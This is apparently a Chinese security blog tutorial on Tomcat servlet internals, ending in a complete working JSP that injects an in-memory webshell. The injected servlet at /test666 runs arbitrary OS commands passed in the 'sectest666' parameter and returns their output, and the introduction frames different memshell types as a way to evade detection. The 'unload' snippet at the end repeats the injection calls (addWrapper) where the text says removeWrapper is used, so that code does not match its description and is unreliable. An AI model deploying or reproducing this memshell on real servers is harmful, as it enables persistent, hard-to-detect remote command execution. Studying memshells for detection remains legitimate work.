Tomcat内存马实现原理解析-servlet内存马

​ 除了通过Filter实现的内存马,也可以使用servlet,listener等实现内存马,不同的实现方式需要不同的查杀方式,有可能使用不同类型的内存马就可以绕过查杀,本片文章将带着大家了解servlet的入门、tomcat下servlet的实现、servlet内存马的实现。

servlet基础入门

什么是servlet?

servlet基本介绍

​ servlet是一个Java应用程序,运行在服务器端,用来处理客户端请求并作出响应的程序。servlet没有main方法不能独立运行,需要使用servlet容器比如tomcat来创建。当我们通过URL来访问servlet,首先会在servlet容器中判断该URL是由哪个servlet处理的,当前容器中是否有这个servlet实例,如果没有则创建servlet实例,并交由对应servlet的service方法来处理请求,处理结束后再返回web服务器。

image-20201231105141162

​ servlet接口分别有如下几个方法:

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

servlet生命周期

​ 实例化:在第一次访问或启动tomcat时,tomcat会调用此无参构造方法实例化servlet。默认情况下在tomcat开启的时候不会实例化我们自定义的servlet,当我们第一次访问该servlet的时候才会去创建实例。org.apache.catalina.core.DefaultInstanceManager#newInstance(java.lang.String)

image-20201231113046827

​ 初始化:tomcat在实例化此servlet后,会立即调用init方法初始化servlet。org.apache.catalina.core.StandardWrapper#initServlet

image-20201231113147029

就绪:容器收到请求后调用servlet的service方法来处理请求。org.apache.catalina.core.ApplicationFilterChain#internalDoFilter,servlet.service()方法会在过滤器链执行结束后执行。

image-20201231113326086

销毁:容器依据自身算法删除servlet对象,删除前会调用destory方法,重写destroy方法,关闭tomcat时会执行servlet的destory方法。

image-20201231113716361

​ 总体过程如下所示:

image-20201231115816760

servlet实现类介绍

GenericServlet

​ GenericServlet是Servlet 接口和 ServletConfig 接口的实现类. 但是一个抽象类,其中的 service 方法为抽象方法。也就是说如果继承了这个抽象类,只有service方法是必须重写的。

HttpServlet

​ HttpServlet是GenericServlet的子类,在HttpServlet中对GenericServlet进行了扩展重写了service方法,根据不同的请求方式,调用不同的方法处理请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String method = req.getMethod();
long lastModified;
if (method.equals("GET")) {
lastModified = this.getLastModified(req);
if (lastModified == -1L) {
this.doGet(req, resp);
} else {
long ifModifiedSince;
try {
ifModifiedSince = req.getDateHeader("If-Modified-Since");
} catch (IllegalArgumentException var9) {
ifModifiedSince = -1L;
}

if (ifModifiedSince < lastModified / 1000L * 1000L) {
this.maybeSetLastModified(resp, lastModified);
this.doGet(req, resp);
} else {
resp.setStatus(304);
}
}
} else if (method.equals("HEAD")) {
lastModified = this.getLastModified(req);
this.maybeSetLastModified(resp, lastModified);
this.doHead(req, resp);
} else if (method.equals("POST")) {
this.doPost(req, resp);
} else if (method.equals("PUT")) {
this.doPut(req, resp);
} else if (method.equals("DELETE")) {
this.doDelete(req, resp);
} else if (method.equals("OPTIONS")) {
this.doOptions(req, resp);
} else if (method.equals("TRACE")) {
this.doTrace(req, resp);
} else {
String errMsg = lStrings.getString("http.method_not_implemented");
Object[] errArgs = new Object[]{method};
errMsg = MessageFormat.format(errMsg, errArgs);
resp.sendError(501, errMsg);
}

HttpServletRequest和HttpServletResponse

​ 在HTTPServlet.service()中传入了HttpServletRequest和HttpServletResponse对象,通过这两个对象可以获得请求和响应中的信息。

HttpServletRequest

1
2
3
4
5
getParameter() //根据参数的内容获取参数值
getRequestURI() //获取请求的URI
getQueryString() //获取get请求中?后的内容
getServletPath() //获取servlet的路径
getCookies() //获取cookie中的信息

HttpServletResponse

1
2
3
addCookie() //添加cookie
sendRedirect() //设置重定向
getWriter() // 返回 PrintWriter 对象. 调用该对象的 print() 方法, 将把 print() 中的参数直接打印到客户的浏览器上.

如何使用servlet?

​ servlet的创建和filter的创建类似,也有两种形式:

  • web.xml中配置声明
  • @WebServlet注解声明

web.xml配置servlet

​ web.xml配置如下:

1
2
3
4
5
6
7
8
9
<servlet>
<servlet-name>HelloWorld</servlet-name> //servlet 的名字
<servlet-class>HelloWorld</servlet-class> //servlet类的全类名
</servlet>

<servlet-mapping>
<servlet-name>HelloWorld</servlet-name> //servlet 的名字
<url-pattern>/HelloWorld</url-pattern> //访问servlet的路径
</servlet-mapping>

​ 引用一张图来说明容器如何根据请求的url找到处理servlet的类,当我们发起一个请求时,会去判断我们请求的路径是否符合url-pattern匹配的内容,匹配成功会找到对应的servlet-name来处理,再根据servlet-name找到servlet-class来处理。

image-20201231135749685

​ 实际上同一个servlet类可以对应多个servlet-mapping

1
2
3
4
5
6
7
8
<servlet-mapping>
<servlet-name>HelloWorld</servlet-name> //servlet 的名字
<url-pattern>/test666</url-pattern> //访问servlet的路径
</servlet-mapping>
<servlet-mapping>
<servlet-name>HelloWorld</servlet-name> //servlet 的名字
<url-pattern>/HelloWorld</url-pattern> //访问servlet的路径
</servlet-mapping>

​ 接下来我们要编写HelloWorld,我们实现的Servlet类需要继承HttpServlet,并重写几个方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class HelloWorld extends HttpServlet {

@Override
public void init() throws ServletException {
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
out.println("hello world");
}

@Override
public void destroy() {
System.out.println("servlet has been destory!!!");
super.destroy();
}
}

​ 由于定义了两个servlet-mapping,因此可以通过不同的路径来请求同一个servlet。

image-20201231143118256

image-20201231142000181

WebServlet注解配置servlet

​ 通过注解同样可以完成上述的servlet的配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebServlet(name = "HelloWorld",urlPatterns = {"/HelloWorld","/test666"})
public class HelloWorld extends HttpServlet {
@Override
public void init() throws ServletException {
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
out.println("hello world");
}

@Override
public void destroy() {
System.out.println("servlet has been destory!!!");
super.destroy();
}

}

image-20201231144016548

image-20201231144029960

动态注册servlet

失败尝试

​ 之前了解过动态注入Filter的技术,以为实现动态注册servlet的方法应该类似,因此使用下面的代码来实现。

1
2
3
4
5
6
7
8
9
10
11
12
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
Wrapper wrapper = (Wrapper) standardContext.findChild("test"); //查看自定义的servlet是否添加成功
if(wrapper ==null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //设置state的值,否则执行addservlet方法会报错
TomcatServlet tomcatServlet=new TomcatServlet(); //创建tomcatservlet实例
ServletRegistration.Dynamic reg = servletContext.addServlet("test", tomcatServlet); //添加servlet
reg.setInitParameter("encoding", "utf-8");
reg.setAsyncSupported(false);
reg.addMapping("/test666"); //添加URL地址映射关系
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); //将state的值还原
}

​ 但是使用这种方式动态添加servlet后访问却是404。

image-20201231152513184

问题排查

mapping未添加成功

​ 一般来讲,我们添加的mapping会被保存到standardContext.servletMappings中,可以查看该字段来查看mapping是否添加成功,这里可以看到自定义的mapping是添加成功了。

image-20201231153355218

servlet未添加成功

​ 跟进org.apache.catalina.core.ApplicationContext#addServlet(java.lang.String, java.lang.String, javax.servlet.Servlet, java.util.Map<java.lang.String,java.lang.String>) ,我抽出一些比较关键的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Wrapper wrapper = (Wrapper) context.findChild(servletName);  //检测context中是否已经包含了servlet。
if (wrapper == null) { //由于这个servlet是动态添加的,因此wrapper的内容为空
wrapper = context.createWrapper(); //创建一个wrapper
wrapper.setName(servletName); //设置servlet的name
context.addChild(wrapper); //将wrapper添加到当前的context中
}
if (servlet == null) { //判断servlet是否为空,由于传入了servlet对象,因此会执行else中的内容
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(context, servletClass);
if (clazz != null) {
annotation = clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName()); //wrapper中添加servlet
wrapper.setServlet(servlet); //设置servlet对象
if (context.wasCreatedDynamicServlet(servlet)) {
annotation = servlet.getClass().getAnnotation(ServletSecurity.class);
}
}

​ 通过上面的代码,将servlet的实例和servletClass等属性添加到context中,servlet添加也没有问题。执行addservlet和addMapping后,可以看到已经将servlet的instance对象、mappings映射、servletClass等内容添加到context中。

image-20201231160006153

tomcat 加载servlet分析

​ 接下来我们就要分析为什么servlet添加成功后还是无法访问,执行servlet的service请求,一定会经过org.apache.catalina.core.ApplicationFilterChain#internalDoFilter的servlet.service()方法,因此可以在这里打断点分析问题,访问自定义的servlet的url,这里对应的servlet类型并不是定义的TomcatServlet,需要向上追钟servlet是在哪里定义的。

image-20201231160647998

​ 在ApplicationFilterChain中仅有org.apache.catalina.core.ApplicationFilterChain#setServlet会为servlet赋值,因此可以在setServlet下断点查看。

image-20201231161437760

​ 继续向上跟踪调用 org.apache.catalina.core.ApplicationFilterFactory#createFilterChain中传入了servlet。

image-20201231161805758

​ 向上跟踪调用org.apache.catalina.core.StandardWrapperValve#invoke,invoke方法中,将wrapper.allocate()的结果赋值给servlet。

image-20201231162057960

​ 跟入wrapper.allocate(),这里instance已经是DefaultServlet了,因此不会再去创建实例。所以需要继续向上追踪,查看哪里给wrapper.instance赋值的。

image-20201231163240379

image-20201231163419357

​ 看看wrapper是怎么得到的,通过getContainer()获取当前对象ValveBase的container得到的。

image-20201231164001104

image-20201231164027686

​ 查看上层org.apache.catalina.core.StandardContextValve#invoke调用,container的内容在wrapper中已经赋值好了。

image-20201231165925365

​ 而wrapper的内容是通过request获得的,因此要继续向上追踪request是如何获得的。

image-20201231170148864

​ 向上跟踪到org.apache.catalina.connector.CoyoteAdapter#service方法中,在service方法中,创建了request对象,经过postParseRequest方法处理后,给servletClass赋值。

image-20201231170927517

​ 在postParseRequest方法中,经过connector.getService().getMapper().map(serverName, decodedURI,version, request.getMappingData());处理后servletClass会被赋值。

image-20201231171846938

​ 跟进map方法并向下跟踪调用,在org.apache.catalina.mapper.Mapper#find(org.apache.catalina.mapper.Mapper.MapElement[], org.apache.tomcat.util.buf.CharChunk, int, int)中会去比对访问的路径和定义的servlet路径是否相同。这里的map对象中只有我们定义的servlet的路径,并没有动态添加的servlet路径。

image-20201231172858261

image-20201231172956381

​ 看到上面其实我们已经知道为什么我们动态添加的servlet没有加载了,再看看find方法的上层调用org.apache.catalina.mapper.Mapper#internalMapExactWrapper,由于没有匹配到结果,因此wrapper返回为空,不满足if条件会被直接返回。

image-20201231173956853

​ 也就是说contextVersion.exactWrappers匹配失败,contextVersion.exactWrappers中保存的是自定义的servlet的mapper。

image-20201231174828367

​ exactWrappers匹配失败后会去判断contextVersion.extensionWrappers是否匹配。

image-20201231175039952

​ 其他的类似,最后处理default servlet设置mappingData.wrapper的值为defaultWrapper,因此访问/test666最终会执行defaultServlet。

image-20201231175138329

问题解决

​ 通过上面的分析,我们只要在contextVersion中添加Mapper即可动态加载内存马。首先看一下contextVersion.exactWrappers是在何时赋值的,经过分析调用,在org.apache.catalina.mapper.Mapper#addWrapper(org.apache.catalina.mapper.Mapper.ContextVersion, java.lang.String, org.apache.catalina.Wrapper, boolean, boolean)中,会根据url的内容不同,给mapper的不同wrappers属性赋值,当所有的都不匹配是,才会给exactWrappers赋值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
protected void addWrapper(ContextVersion context, String path,
Wrapper wrapper, boolean jspWildCard, boolean resourceOnly) {

synchronized (context) {
if (path.endsWith("/*")) {
// Wildcard wrapper
String name = path.substring(0, path.length() - 2);
MappedWrapper newWrapper = new MappedWrapper(name, wrapper,
jspWildCard, resourceOnly);
MappedWrapper[] oldWrappers = context.wildcardWrappers;
MappedWrapper[] newWrappers = new MappedWrapper[oldWrappers.length + 1];
if (insertMap(oldWrappers, newWrappers, newWrapper)) {
context.wildcardWrappers = newWrappers;
int slashCount = slashCount(newWrapper.name);
if (slashCount > context.nesting) {
context.nesting = slashCount;
}
}
} else if (path.startsWith("*.")) {
// Extension wrapper
String name = path.substring(2);
MappedWrapper newWrapper = new MappedWrapper(name, wrapper,
jspWildCard, resourceOnly);
MappedWrapper[] oldWrappers = context.extensionWrappers;
MappedWrapper[] newWrappers =
new MappedWrapper[oldWrappers.length + 1];
if (insertMap(oldWrappers, newWrappers, newWrapper)) {
context.extensionWrappers = newWrappers; //extensionWrappers赋值
}
} else if (path.equals("/")) {
// Default wrapper
MappedWrapper newWrapper = new MappedWrapper("", wrapper,
jspWildCard, resourceOnly);
context.defaultWrapper = newWrapper; //defaultWrapper赋值
} else {
// Exact wrapper
final String name;
if (path.length() == 0) {
// Special case for the Context Root mapping which is
// treated as an exact match
name = "/";
} else {
name = path;
}
MappedWrapper newWrapper = new MappedWrapper(name, wrapper,
jspWildCard, resourceOnly);
MappedWrapper[] oldWrappers = context.exactWrappers;
MappedWrapper[] newWrappers = new MappedWrapper[oldWrappers.length + 1];
if (insertMap(oldWrappers, newWrappers, newWrapper)) {
context.exactWrappers = newWrappers; //exactWrappers赋值
}
}
}
}

image-20210104110344314

​ 我们要调用addWrapper来设置wrapper的属性,首先得解决几个问题:

问题一:如何获取 ContextVersion对象?

​ 查看addWrapper的调用链,addWrapper是由org.apache.catalina.mapper.Mapper#addWrappers(org.apache.catalina.mapper.Mapper.ContextVersion, java.util.Collection<org.apache.catalina.mapper.WrapperMappingInfo>)调用的,而addWrappers中已经传入了ContextVersion对象,所以需要继续向上追踪。

image-20210104112628640

​ 在org.apache.catalina.mapper.Mapper#addContextVersion中,创建了ContextVersion对象,但是创建直接创建这个对象需要resources这个属性,而这个属性是StandardRoot对象,在运行过程中无法通过standardContext来获取,所以不考虑通过new的方式创建ContextVersion对象,但是经过分析ContextVersion对象会被保存到mapper的contextObjectToContextVersionMap,因此可以通过获取mapper-》contextObjectToContextVersionMap-》ContextVersion来获取ContextVersion对象。

image-20210104144102396

image-20210104144140687

​ 可以将获取ContextVersion是的问题转换为获取Mapper对象的问题。继续向上跟踪org.apache.catalina.mapper.MapperListener#registerContext中,通过mapper对象来调用的addContextVersion。

image-20210104113652212

image-20210104113753731

​ 经过调试发现,mapper对象可以通过StandardService来获取,而applicationContext中可以获取service对象,因此获取ContextVersion的问题可以解决。

image-20210104113819306

问题二:如何创建一个Wrapper对象?

​ 在addWrapper中的wrapper是一个StandardWrapper对象,所以要分析如何获取StandardWrapper对象。

image-20210104115103558

​ 在StandardWrapper的构造方法打断点,可以看到在org.apache.catalina.core.StandardContext#createWrapper中,可以获取StandardWrapper对象。StandardContext是可以动态获取的,因此可以通过StandardContext.createWrapper方法获取到StandardWrapper对象。

image-20210104115418557

​ 但查看addWrapper方法中的wrapper对象,其使用的还是非常多的。

image-20210104120216543

​ 但是这点不用担心,因为通过new StandardWrapper()创建wrapper就会设置很多属性,只要对instance、servletclass、mappings等和servlet有关的属性设置就可以了。

image-20210104134133813

servlet内存马实现

​ 在本部分的内容不讲如何获取standardContext、applicationContext等对象了,之前在Filter内存马的时候分析过了。假设已经获取了standardContext、applicationContext对象,下面获取其他对象。

获取ContextVersion

1
2
3
4
5
6
7
8
Field serviceF = applicationContext.getClass().getDeclaredField("service"); //通过applicationContext获取service对象
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper(); //获取mapper
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper); //获取contextObjectToContextVersionMap属性
Object contextVersion = contextObjectToContextVersionMap.get(standardContext); //获取contextVersion对象

image-20210104144759287

创建Wrapper对象并赋值

1
2
3
4
5
6
StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper(); //获取StandardWrapper对象
TomcatServlet tomcatServlet=new TomcatServlet(); //创建servlet对象
Field instanceF = wrappershell.getClass().getDeclaredField("instance"); //获取StandardWrapper打的instance属性
instanceF.setAccessible(true);
instanceF.set(wrappershell,tomcatServlet); //为instance属性赋值
wrappershell.setServletClass(Class.forName("TomcatServlet").getName()); //设置servletclass属性,可以通过setServletClass实现,因此不需要通过反射机制修改。

​ 通过上面的设置,可以得到StandardWrapper对象,并且设置其中的instance和servletClass属性,下面尝试通过wrappershell.addMapping("/test666");但是这么设置后由于没有给StandardWrapper设置parent属性所以会抛异常。

image-20210104141540768

​ 在addWrapper方法中,wrapper.parent是StandardContext对象,因此需要设置StandardWrapper.parent为StandardContext。

image-20210104141837343

​ parent属性的定义在org.apache.catalina.core.ContainerBase中

image-20210104142155491

1
2
3
4
Field parent = ContainerBase.class.getDeclaredField("parent");
parent.setAccessible(true);
parent.set(wrappershell, standardContext);
wrappershell.addMapping("/test666");

addWrapper设置exactWrappers

​ 下面通过反射调用addWrapper

1
2
3
4
5
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1]; //获取内部类contextversion的Class
Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false); //反射调用addWrapper

image-20210104150812155

​ 最终成功实现内存马的功能。

image-20210104150927298

​ 给出完整的JSP代码,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.StandardService" %>
<%@ page import="org.apache.catalina.mapper.Mapper" %>
<%@ page import="java.util.concurrent.ConcurrentHashMap" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.core.ContainerBase" %>



<html>
<head>
<title>servletContext</title>
</head>
<body>
<%
class TomcatServlet extends HttpServlet {
/**
* webshell命令参数名
*/


private final String cmdParamName = "sectest666";
@Override
public void init() throws ServletException {
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd;
if ((cmd = req.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
resp.getOutputStream().write(stringBuilder.toString().getBytes());
resp.getOutputStream().flush();
resp.getOutputStream().close();
return;
}
}

@Override
public void destroy() {
super.destroy();
}

}
%>


<%
class test666 {

}
%>
<%
try{
//获取各字段
java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");

//去掉final修饰符
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);

//设置允许访问
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);

//如果是第一次请求,则修改各字段,否则获取cmd参数执行命令并返回结果
if(!WRAP_SAME_OBJECT.getBoolean(null)){
WRAP_SAME_OBJECT.setBoolean(null,true);
lastServicedRequest.set(null,new ThreadLocal());
lastServicedResponse.set(null,new ThreadLocal());
out.println("WRAP_SAME_OBJECT change success!please try again for Inject Servlet");
}else{
ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null);
javax.servlet.ServletRequest request1 = threadLocalRequest.get();
try {
//获取servletContext
javax.servlet.ServletContext servletContext=request1.getServletContext();

//获取applicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

Field serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
Wrapper wrapper = (Wrapper) standardContext.findChild("test");
if(wrapper ==null) {
TomcatServlet tomcatServlet=new TomcatServlet();
StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper();
Field instanceF = wrappershell.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrappershell,tomcatServlet);
wrappershell.setServletClass("TomcatServlet");
Field parent = ContainerBase.class.getDeclaredField("parent");
parent.setAccessible(true);
parent.set(wrappershell, standardContext);
wrappershell.addMapping("/test666");
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false);
out.println("Servlet has been Inject,please visit /test666?sectest666=whoami");
}
}catch (Exception e){
e.printStackTrace();
}
}

}catch (Exception e){
e.printStackTrace();
}
%>
</body>
</html>

servlet内存马卸载

​ 查看org.apache.catalina.mapper.Mapper代码,发现代码中存在org.apache.catalina.mapper.Mapper#removeWrapper(org.apache.catalina.mapper.Mapper.ContextVersion, java.lang.String)方法,只需要传入ContextVersion对象和path即可完成内存马的卸载。

image-20210105115051752

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
try{
try {
//获取servletContext
javax.servlet.ServletContext servletContext=req.getServletContext();
//获取applicationContext
java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
//获取standardContext
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

Field serviceF = applicationContext.getClass().getDeclaredField("service");
serviceF.setAccessible(true);
StandardService service = (StandardService) serviceF.get(applicationContext);
Mapper mapper = service.getMapper();
Field contextObjectToContextVersionMapF = mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
contextObjectToContextVersionMapF.setAccessible(true);
ConcurrentHashMap contextObjectToContextVersionMap = (ConcurrentHashMap ) contextObjectToContextVersionMapF.get(mapper);
Object contextVersion = contextObjectToContextVersionMap.get(standardContext);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
TomcatServlet tomcatServlet=new TomcatServlet();
StandardWrapper wrappershell = (StandardWrapper) standardContext.createWrapper();
Field instanceF = wrappershell.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
instanceF.set(wrappershell,tomcatServlet);
wrappershell.setServletClass("TomcatServlet");
Field parent = ContainerBase.class.getDeclaredField("parent");
parent.setAccessible(true);
parent.set(wrappershell, standardContext);
wrappershell.addMapping("/test666");
Class[] classes = mapper.getClass().getDeclaredClasses();
Class contextversionClass = classes[1];
Method addWrapper = mapper.getClass().getDeclaredMethod("addWrapper", contextversionClass, String.class, Wrapper.class, boolean.class, boolean.class);
addWrapper.setAccessible(true);
addWrapper.invoke(mapper, contextVersion, "/test666", wrappershell, false, false);
}catch (Exception e){
e.printStackTrace();
}


}catch (Exception e){
e.printStackTrace();
}